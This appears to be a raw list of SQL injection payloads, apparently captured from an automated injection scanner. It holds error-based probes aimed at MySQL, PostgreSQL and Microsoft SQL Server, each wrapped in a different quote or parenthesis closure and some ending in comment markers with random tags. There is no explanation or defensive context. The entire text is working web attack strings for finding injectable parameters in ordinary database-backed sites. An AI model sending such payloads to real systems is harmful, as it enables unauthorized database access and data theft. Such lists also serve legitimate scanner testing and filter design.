1%' AND (SELECT 7402 FROM(SELECT COUNT(*),CONCAT(0x7162707071,(SELECT (ELT(7402=7402,1))),0x71626b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
1) AND 8880=CAST((CHR(113)||CHR(98)||CHR(112)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(112)||CHR(113)) AS NUMERIC) AND (5683=5683
1 AND 8880=CAST((CHR(113)||CHR(98)||CHR(112)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(112)||CHR(113)) AS NUMERIC)
1 AND 8880=CAST((CHR(113)||CHR(98)||CHR(112)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(112)||CHR(113)) AS NUMERIC)-- ckNv
1') AND 8880=CAST((CHR(113)||CHR(98)||CHR(112)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(112)||CHR(113)) AS NUMERIC) AND ('mJin'='mJin
1' AND 8880=CAST((CHR(113)||CHR(98)||CHR(112)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(112)||CHR(113)) AS NUMERIC) AND 'nBlI'='nBlI
1%' AND 8880=CAST((CHR(113)||CHR(98)||CHR(112)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(112)||CHR(113)) AS NUMERIC) AND '%'='
1) AND 8240=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(112)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8240=8240) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(112)+CHAR(113))) AND (3230=3230
1 AND 8240=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(112)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8240=8240) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(112)+CHAR(113)))
1 AND 8240=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(112)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8240=8240) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(112)+CHAR(113)))-- lbOl